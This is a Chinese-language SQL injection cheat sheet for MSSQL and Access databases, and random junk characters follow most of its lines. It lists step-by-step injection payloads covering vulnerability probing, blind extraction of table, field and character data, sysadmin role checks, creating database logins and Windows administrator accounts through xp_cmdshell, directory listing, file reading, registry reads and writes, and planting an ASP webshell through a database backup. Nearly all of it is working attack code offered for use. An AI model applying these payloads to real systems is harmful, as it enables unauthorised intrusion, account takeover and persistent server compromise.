1.判断是否有注入;and 1=1 ;and 1=2 V*'9yk"
2.初步判断是否是mssql ;and user>0 yK&)H+v
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3.注入参数是字符'and [查询条件] and ''=' I>-jKSkwc
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' [*>@hx
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5.判断数据库系统 {hRAR8
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;and (select count(*) from sysobjects)>0 mssql 73.o{V
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;and (select count(*) from msysobjects)>0 access oaBfq8,;
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 xHr
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ypd
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9 [I ro
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9.(1)猜字段的ascii值(access) cW GU?cv}
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 "
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(2)猜字段的ascii值(mssql) *BO4"3Z
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 {G{@bUG]p
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10.测试权限结构(mssql) DU7Ki6
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- YHRI U Yd
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <m6I)}K
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- .N+xpxdG,
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- mpF_+Mn
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- {oJa8~P
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Sd\@Q%
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;and 1=(select IS_MEMBER('db_owner'));-- FXSDN268
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11.添加mssql和系统的帐户 LK%B6-;~-
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;exec master.dbo.sp_addlogin username;-- ?^!dLW
;exec master.dbo.sp_password null,username,password;-- 1!C,pXU#:
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- A_fU7'B
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;exec master.dbo.xp_cmdshell 'net user username password w${=dW@K
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- jlP7'xt1%
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- xq)/ QR
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- :58'U|
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12.(1)遍历目录 .0-m=3mp2
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;create table dirs(paths varchar(100), id int) ? 7EVmF
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 4a |Fx
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;and (select top 1 paths from dirs)>0 Om"3Q/&
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Ny'v/+nQ
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(2)遍历目录 i+Dgw
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9"RfL7{
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 6V?RES;X
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 z{jAt6@7
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 kZ}u
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13.mssql中的存储过程 TjK5UML
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xp_regenumvalues 注册表根键, 子键 yy1r,dw
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 }_22wjm~
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xp_regread 根键,子键,键值名 IpXhb[UZ?
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;exec xp_regread z{0;%E
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 \>`$x:
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xp_regwrite 根键,子键, 值名, 值类型, 值 g0OS<,:
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 3/=QZ8HA&-
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xp_regdeletevalue 根键,子键,值名 RT"2Us]*
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 g VJ#LJ
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Ux
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14.mssql的backup创建webshell I=yj
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use model 5yiiPK$qr
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create table cmd(str image); :fVMM7
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insert into cmd(str) values (''); n{r#K_
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backup database model to disk='c:\l.asp'; G)Bq?=P
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15.mssql内置函数 o=#
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;and (select @@version)>0 获得Windows的版本号 b]&zDo|8
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa )9*3^v
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;and (select user_name())>0 爆当前系统的连接用户 3ZlGbP#3w
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;and (select db_name())>0 得到当前连接的数据库 x<\D@X^
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16.简洁的webshell H!.D2J
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use model #]DZrD&q
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create table cmd(str image); 6Su@a%=j
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insert into cmd(str) values (''); 8{ Eo8L'V
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backup database model to disk='g:\wwwtest\l.asp';